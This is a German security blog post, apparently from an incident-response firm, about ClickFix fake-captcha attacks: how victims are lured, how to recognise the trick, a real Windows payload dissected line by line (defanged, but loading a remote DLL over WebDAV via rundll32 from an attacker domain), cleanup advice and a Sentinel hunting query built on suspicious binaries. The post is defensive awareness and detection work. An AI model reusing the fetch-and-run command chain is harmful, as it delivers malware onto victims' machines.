Fake Captcha mit Win+R: ClickFix erkennen und stoppen

Was ist ClickFix

ClickFix ist der Name einer Angriffstechnik, bei der Opfer dazu gebracht werden sollen, einen vorbereiteten Befehl selbst in den auszuführen. Dies kann über Win + R, Win + I oder auch direkt in einer Eingabeaufforderung (Cmd) oder Powershell sein.
Weil der Einstieg fast immer über eine gefälschte Captcha-Abfrage läuft, findest Du die Masche auch unter dem Namen Fake Captcha. Zusammen mit Device-Code-Logins ist das meiner Erfahrung nach momentan eine der Haupttaktiken von Angreifern.

Diese Einschätzung deckt sich mit den Zahlen der Hersteller. Laut dem Microsoft Digital Defense Report 2025 war ClickFix im Berichtszeitraum die häufigste beobachtete Methode für den Erstzugriff und lag mit rund 47 Prozent der Fälle vor klassischem Phishing mit rund 35 Prozent. Das BSI warnt bereits seit März 2025 vor gefälschten Captchas, und MITRE führt das Vorgehen seit 2025 als eigene Technik unter T1204.004 (Malicious Copy and Paste).

Der Reiz für Angreifer liegt darin, dass es keinen bösartigen Anhang gibt, den ein Mailfilter abfangen könnte, und keinen Download, den ein Virenscanner prüft. Die Ausführung übernimmt der Mensch vor dem Bildschirm.

Der Angriff blendet zuerst eine Checkbox ein. Diese ist dem bekannten Design von reCAPTCHA oder Cloudflare nachempfunden und sieht dadurch legitim aus.

In diesem Blogpost geht es um eine ClickFix-Variante, die mir im August 2026 begegnet ist und auf Windows-User zielt. Die Kolleginnen und Kollegen von Sophos haben bereits Varianten entdeckt, die auf macOS- und Linux-User zielen.

Sobald die Checkbox angeklickt wird, öffnet sich ein zweites Captcha. Statt wie üblich Busse, Autos oder Ampeln zu markieren, sollen hier bestimmte Schritte zur Verifizierung unternommen werden.

Wie landen Opfer überhaupt auf einer ClickFix-Seite

Der häufigste Weg führt über die Suchmaschine. Angreifer schalten Werbeanzeigen auf gängige Suchbegriffe oder schieben präparierte Seiten mit SEO-Methoden nach oben. Wer nach einer Software, einem Treiber oder einer Anleitung sucht, landet dann direkt auf der gefälschten Seite. Das ist deshalb so wirksam, weil das Opfer selbst gesucht hat und das Ergebnis für ein normales Suchergebnis hält, nicht für einen Angriff.

Der zweite Weg ist die kompromittierte, eigentlich seriöse Webseite, auf die ich weiter unten noch genauer eingehe. Hier fehlt sogar der Anfangsverdacht, denn die Adresse in der Leiste stimmt und die Seite ist genau die, die man erwartet hat.

Der dritte Weg ist die gezielte Ansprache. Beobachtet werden gefälschte Einladungen zu Videokonferenzen, Mails mit dem Hinweis, ein Dokument lasse sich nur nach einem zusätzlichen Verifizierungsschritt anzeigen oder ähnliches.

Woran erkennst Du ein Fake Captcha

Die Erkennung ist einfacher, als viele denken, weil es genau eine harte Regel gibt. Eine echte Captcha-Prüfung findet immer vollständig im Browser statt. Du tippst Zeichen ab, klickst Bilder an oder setzt einen Haken. Kein echtes Captcha von Google, Cloudflare oder einem anderen Anbieter fordert Dich jemals auf, eine Systemtastenkombination zu drücken, etwas in ein Systemfenster einzufügen oder ein Terminal zu öffnen.

Wenn eine Seite Dich zu Win + R, zu Win + X, zur PowerShell oder zum Terminal schickt, ist der Fall damit klar. Schließe den Tab und führe nichts aus. Solange Du den Befehl nicht ausführst, ist nichts passiert. Der Inhalt Deiner Zwischenablage wurde zwar überschrieben, das allein infiziert Dich aber nicht. Kopiere zur Sicherheit anschließend einen harmlosen Text, dann ist die Zwischenablage wieder sauber.

So läuft der ClickFix-Angriff ab

Schritt 1: Win + R

Diese Tastenkombination öffnet den Ausführen-Dialog. Dieser startet den eingegebenen Befehl oder das angesprochene Programm.

Schritt 2: Strg + V

Diese Tastenkombination fügt den Inhalt der Zwischenablage ein. Im Hintergrund hat die Webseite diesen Inhalt bereits überschrieben. Das Opfer sieht also nicht, was es einfügt, sondern verlässt sich darauf, dass dort das steht, was die Seite behauptet.

Beispiel eines echten Payloads

In diesem realen Beispiel lautet der Payload wie folgt, die Zeilenumbrüche sind zur besseren Lesbarkeit eingefügt:

rem conhost --headless
rem --
rem cmd /v:on /c "
rem     set s=@SSL
rem     &
rem     pu^shd \ptfcui[.]oopsboobs[.]com!s!\5c171929-39a8-4e65-bf80-e012c073533d
rem     &
rem     ru^ndl^l32 cbpivhzppmjclwsmquku,#1"

Im Original steht das alles in einer einzigen Zeile, so wie es auch im Ausführen-Dialog landen würde.

Was dieser Payload tut, in einzelne Teile aufgebrochen:

1. Das rem zu Beginn jeder Zeile ist Teil der Entschärfung. Sollte ein Leser oder eine Leserin den oben gezeigten Befehl ausführen, wird er ignoriert, da jede Zeile als Kommentar gesehen wird. Zusätzlich ist die Domain durch die eckigen Klammern unbrauchbar gemacht.

2. conhost erzeugt ein Konsolenfenster. In anderen Varianten dieses Angriffs stehen hier auch cmd, pwsh oder powershell. All diese Befehle erzeugen eine Eingabeaufforderung oder ein Interface, welches den anschließenden Befehl ausführt. Ebenfalls verbreitet ist der Missbrauch von curl oder mshta.

3. Die Flag --headless erzeugt die Eingabeaufforderung im Hintergrund. Für den User ist nichts sichtbar. Der Ausführen-Dialog schließt sich, die Eingabeaufforderung sieht er nie. Für den User sieht es so aus, als wäre einfach nichts passiert, denn auch die Aufforderung auf der Webseite ändert sich nicht.

4. Die beiden Bindestriche -- sind der Trenner zum nächsten Befehl.

5. cmd erzeugt ein Konsolenfenster genau wie unter Punkt 2 beschrieben.

6. Der Schalter /v:on aktiviert die sogenannte Delayed Expansion der Eingabeaufforderung. Normalerweise löst cmd Variablen beim Einlesen der ganzen Zeile auf, eine Variable, die in derselben Zeile erst später gesetzt wird, wäre dann noch leer. Mit /v:on wird !s! erst zur Laufzeit ausgewertet, also nach dem set.

7. Mit set s=@SSL wird die Variable s auf @SSL gesetzt. Das dient rein der Obfuskation, damit @SSL nicht zusammenhängend mit der Adresse in der Zeile steht.

8. Das kaufmännische Und verkettet die Befehle, unabhängig vom Erfolg des vorherigen.

9. Bei pu^shd ist das ^ das Escape-Zeichen von cmd und hier wirkungslos. Es zerlegt den Namen nur für Textscanner. Ausgeführt wird pushd, ebenso wird aus ru^ndl^l32 das bekannte rundll32. Der Befehl pushd wechselt in ein Verzeichnis und bindet einen UNC-Pfad dabei automatisch als temporäres Netzlaufwerk ein.

10. Im UNC-Pfad ptfcui[.]oopsboobs[.]com setzt !s! zur Laufzeit @SSL ein. Das weist Windows an, statt SMB den WebDAV-Client über HTTPS zu nutzen. So kommt der Abruf durch Firewalls, die Port 445 nach außen blockieren. Genau dieses Blockieren gehört zur Best Practice beim Absichern von Firewalls, greift hier also nicht. Die angehängte GUID dient vermutlich der Opfer-Zuordnung.

11. Der Aufruf von rundll32 lädt die DLL direkt vom Server. Die Endung .dll wird dabei automatisch ergänzt, sie muss im Befehl also nicht auftauchen. Der Zusatz ,#1 ruft den Export über die Ordinalnummer auf, damit kein sprechender Funktionsname in der Zeile steht. Die Datei landet nicht als sichtbarer Download im Downloadordner, der WebDAV-Client legt sie allerdings in seinem lokalen Cache ab. Für die spätere Analyse lohnt sich daher ein Blick in genau dieses Cache-Verzeichnis.

12. Nun läuft im Hintergrund die vom Angreifer bereitgestellte Malware. Danach sind viele Szenarien möglich, etwa die Installation eines Remote Access Trojaners zur Fernsteuerung des Rechners, die Aufnahme in ein Botnetz oder die Vorbereitung einer Verschlüsselung im Rahmen von Ransomware.

Schritt 3: Enter drücken

Hierdurch wird der oben aufgebrochene Befehl ausgeführt. Ab diesem Moment ist der Rechner als kompromittiert zu betrachten.

Variante: Win + X statt Win + R

Der Ablauf ist nicht auf den Ausführen-Dialog festgelegt. Eine Variante, die mir ebenfalls begegnet ist, schickt das Opfer über Win + X und anschließend die Taste I in das Windows Terminal beziehungsweise in die PowerShell. Danach folgen wieder Strg + V und Enter, das Ergebnis ist dasselbe.

Für Angreifer hat dieser Weg zwei Vorteile. Zum einen wirkt ein sich öffnendes Terminal auf viele Anwender wie ein legitimer Wartungsvorgang, gerade wenn die Seite vorher von einem angeblichen Problem gesprochen hat. Zum anderen, und das ist für die Verteidigung der wichtigere Punkt, hinterlässt dieser Weg keinen Eintrag im Ausführen-Dialog. Wer bei der Analyse nur dort nachsieht, findet nichts und hält den Rechner fälschlicherweise für sauber.

Weitere Varianten lotsen den Anwender in die Adressleiste des Explorers, in ein selbst zu öffnendes PowerShell-Fenster oder unter macOS in das Terminal. Gemeinsam ist allen, dass die Webseite den Anwender aus dem Browser heraus in ein Systemfenster führt.

Wie kommt ClickFix auf eine seriöse Webseite

Die Infektion einer Webseite stellt immer einen Sicherheitsvorfall dar.

Für viele Unternehmen ist die Webseite eine statische Informationsseite. Gerade bei kleinen und kleinsten Unternehmen muss sie einfach zu pflegen sein. Ein Arzt fügt zum Beispiel eine neue Qualifizierung oder den jährlichen Praxisurlaub ein.

Damit solche Änderungen möglichst einfach und schnell eingepflegt werden können, kommen häufig sogenannte Content Management Systeme (CMS) zum Einsatz. Bekannte Beispiele sind WordPress, Joomla und TYPO3. Diese Software wird millionenfach eingesetzt und kann durch Plugins um ihren Funktionsumfang erweitert werden, beispielsweise für Kontaktformulare.

Keine Software auf diesem Planeten ist hundertprozentig sicher, so auch diese CMS nicht. Dadurch, dass sie so oft eingesetzt werden, sind sie für Angreifer besonders interessant. Eine einzelne Lücke kann hier potenziell Millionen von Seiten betreffen.

Nun kommen beide Themen zusammen, eine Software als beliebtes Angriffsziel und eine Zielgruppe, die oft keine IT-Kenntnisse hat. Genau hier kommt es dann zu gehackten Webseiten, denn erforderliche Sicherheitsupdates werden viel zu spät oder gar nicht eingespielt. In diesem anonymisierten Beispiel war eine Joomla-Installation betroffen, die seit mehr als sechs Jahren keinerlei Sicherheitsupdates mehr erhalten hatte.

Wenn Deine Webseite betroffen ist, unterstützen wir. Du erreichst uns rund um die Uhr über den roten Notfall-Button oben rechts.

Wie verhalte ich mich, wenn ich eine betroffene Seite sehe

Ruf das betroffene Unternehmen an. Bitte schreib keine E-Mail, denn beim Unternehmen könnte mehr als die Webseite betroffen sein und der Angreifer gegebenenfalls Zugriff auf die E-Mail-Kommunikation haben und diese abfangen. Erkläre sachlich Deine Beobachtung. Gerne kannst Du unsere Notfallnummer +49 2572 967397-7 weitergeben, sollte das Unternehmen äußern, dass es nicht weiß, was zu tun ist.

Zusätzlich würde ich empfehlen, die Webseite auf die interne Blockliste zu setzen. Beispielsweise lässt sich die Domain per DNS-Block sperren oder als Endpoint-Indicator im Defender hinterlegen. Falls es sich um ein Partnerunternehmen handelt, sollte die Sperre nach mündlicher Bestätigung, dass die Webseite bereinigt wurde, wieder aufgehoben werden. Eine Prüfung der Domain bei einem Dienst wie VirusTotal kann die Einschätzung stützen, ersetzt sie aber nicht. Angreifer wechseln ihre Domains schneller, als Reputationsdienste sie erfassen, ein sauberes Ergebnis ist also kein Freibrief.

Was mache ich, wenn jemand darauf hereingefallen ist

Das Gerät ist sofort zu isolieren. Netzwerkstecker ziehen und WLAN deaktivieren sind die wichtigsten Sofortmaßnahmen. Bitte das System nicht herunterfahren, sonst gehen flüchtige Spuren im Arbeitsspeicher verloren, die für die Analyse entscheidend sein können.

Danach solltest Du davon ausgehen, dass alle auf dem Gerät gespeicherten Zugangsdaten abgeflossen sind. Passwörter der betroffenen Person gehören zurückgesetzt, aktive Sitzungen und Tokens widerrufen. Die weiteren Schritte in der richtigen Reihenfolge haben wir im Notfallartikel zur gehackten Webseite beschrieben. Falls eine Cyberversicherung besteht, ist jetzt ein guter Zeitpunkt, diese anzurufen. Wir unterstützen ebenfalls, auch hier führt der Weg über den roten Notfall-Button oben rechts.

Wie kann ich mich vor ClickFix schützen

Der beste Weg ist meiner Meinung nach, den Usern exakt dieses Angriffsszenario zu zeigen und zu erklären. Phishing wie dieses funktioniert, weil es sich in einen Ablauf einbettet, den Deine Kolleginnen und Kollegen schon hunderte Male ohne Nachdenken durchlaufen haben. Wer den Ablauf einmal bewusst gesehen hat, stolpert beim nächsten Mal darüber. Die Merkregel dafür passt in einen Satz: Wer von einer Webseite aufgefordert wird, ein Fenster außerhalb des Browsers zu öffnen, steckt bereits mitten im Angriff.

Wenn Du ohnehin eine Phishing-Simulation planst, gehört ClickFix inzwischen zwingend in das Szenario-Repertoire.

Technisch lässt sich der Angriff zusätzlich erschweren. Per GPO kann den Usern der Ausführen-Dialog entzogen werden. Das sorgt allerdings als Nebenwirkung dafür, dass auch die Adressleiste im Windows Explorer nicht mehr wie gewohnt funktioniert, weshalb diese Maßnahme vorher getestet werden sollte. Wichtig ist außerdem, dass diese Sperre nur den Weg über Win + R schließt. Die Variante über Win + X und das Terminal läuft weiterhin, wer also nur den Ausführen-Dialog abschaltet, hat den Angriff nicht verhindert, sondern nur umgeleitet.

Erkennung im eigenen Netz

Windows protokolliert jede Eingabe im Ausführen-Dialog im Registry-Schlüssel HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Das ist bei einem Verdacht der schnellste Blick, um zu klären, ob jemand tatsächlich etwas eingefügt und ausgeführt hat.

Für die Terminal-Variante gibt es dieses Protokoll nicht, dort ist das Gegenstück die PowerShell-Historie unter %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt. Wenn im Unternehmen Script Block Logging aktiv ist, findest Du den eingefügten Befehl außerdem im Ereignis 4104. Beides gehört bei einem Verdacht mit geprüft, sonst übersiehst Du genau die Fälle, die nicht über den Ausführen-Dialog liefen.

Die folgende Abfrage kombiniert für die proaktive Suche zwei Signale. Einmal Prozesse, die aus dem Explorer oder direkt aus einer Konsole heraus gestartet wurden, und einmal die Einträge, die der Ausführen-Dialog in der Registry hinterlässt. Sie ist für Microsoft Sentinel geschrieben. Voraussetzung ist, dass im Defender-XDR-Connector die Tabellen DeviceProcessEvents und DeviceRegistryEvents auch wirklich zum Streamen ausgewählt sind, denn das ist nicht immer der Fall.

// ClickFix Hunting: Ausführung über den Win+R-Dialog oder das Terminal
let lookback = 14d;
let binaries = dynamic(["powershell","pwsh","cmd","conhost","mshta",
                        "curl","rundll32","wscript","cscript","msiexec"]);
let parents = dynamic(["explorer.exe","WindowsTerminal.exe","OpenConsole.exe",
                       "powershell.exe","pwsh.exe","cmd.exe"]);
// --- Prozess wurde aus dem Explorer oder einer Konsole heraus gestartet ---
let proc =
    DeviceProcessEvents
    | where TimeGenerated > ago(lookback)
    | where InitiatingProcessFileName has_any (parents)
    | where ProcessCommandLine has_any (binaries)
    | where ProcessCommandLine matches regex @"\s{7,}"  // Leerzeichen schieben den Befehl aus dem Sichtfeld
        or ProcessCommandLine contains "#"              // Kommentarzeichen zur Tarnung vor dem User
        or ProcessCommandLine contains "^"              // Escape-Zeichen gegen Textscanner
        or ProcessCommandLine contains @"\\"            // UNC-Pfad zum Nachladen
    | project TimeGenerated, DeviceId, DeviceName, Account = AccountName, AccountDomain,
              Parent = InitiatingProcessFileName, Details = ProcessCommandLine
    | extend Source = "Prozessstart";
// --- Eingabe im Ausführen-Dialog ---
let reg =
    DeviceRegistryEvents
    | where TimeGenerated > ago(lookback)
    | where RegistryKey has "RunMRU"
    | where RegistryValueName != "MRUList"
    | where strlen(RegistryValueData) > 50              // ClickFix nutzt sehr lange Strings
    // Es gibt ClickFix-Varianten, die an den eigentlichen Befehl eine Menge Leerzeichen anhängen.
    // Im Ausführen-Dialog ist dann nur noch der harmlose Rest sichtbar, etwa "Cloudflare Token: xxx",
    // der eigentliche Befehl steht davor und ist aus dem Sichtfeld geschoben.
    | where RegistryValueData matches regex @"\s{7,}"
        or RegistryValueData contains "#"
        or RegistryValueData contains "^"
        or RegistryValueData has_any (binaries)
    | project TimeGenerated, DeviceId, DeviceName, Account = InitiatingProcessAccountName,
              AccountDomain = InitiatingProcessAccountDomain,
              Parent = "explorer.exe", Details = RegistryValueData
    | extend Source = "Win+R";
union proc, reg
| sort by TimeGenerated desc

Im Advanced Hunting von Microsoft Defender heißt die Zeitspalte Timestamp statt TimeGenerated, dort entfallen die beiden ago()-Filter, weil der Zeitraum über die Oberfläche gesetzt wird.

Treffer bedeuten nicht automatisch einen Vorfall, denn Admins nutzen Ausführen-Dialog und Konsole völlig legitim. Auffällig wird es, wenn ein sehr langer, kryptischer String auf einem Client landet, an dem sonst niemand mit der Konsole arbeitet. In Umgebungen mit vielen Skripten und Netzlaufwerken erzeugen powershell.exe und cmd.exe als Elternprozess allerdings deutlich mehr Rauschen als der Explorer, dort solltest Du die Liste kürzen oder die eigenen Skriptpfade ausschließen. Findest Du zu einem Zeitstempel sowohl einen Treffer aus dem Ausführen-Dialog als auch den passenden Prozessstart, hast Du die vollständige Kette und musst nicht mehr raten.

Fazit

ClickFix braucht keine Sicherheitslücke, keinen Zero-Day und keinen Anhang, den ein Filter übersehen muss. Der Angriff braucht nur einen Menschen, der einen Ablauf abarbeitet, den er schon hundertmal ohne Nachdenken abgearbeitet hat. Genau deshalb greifen die klassischen technischen Schutzmaßnahmen hier so schlecht.

Die gute Nachricht ist, dass die Gegenmaßnahme genauso einfach ist wie der Angriff. Ein einziger Satz reicht, und den solltest Du in Deinem Unternehmen so oft wiederholen, bis er sitzt. Keine echte Verifizierung verlässt jemals den Browser.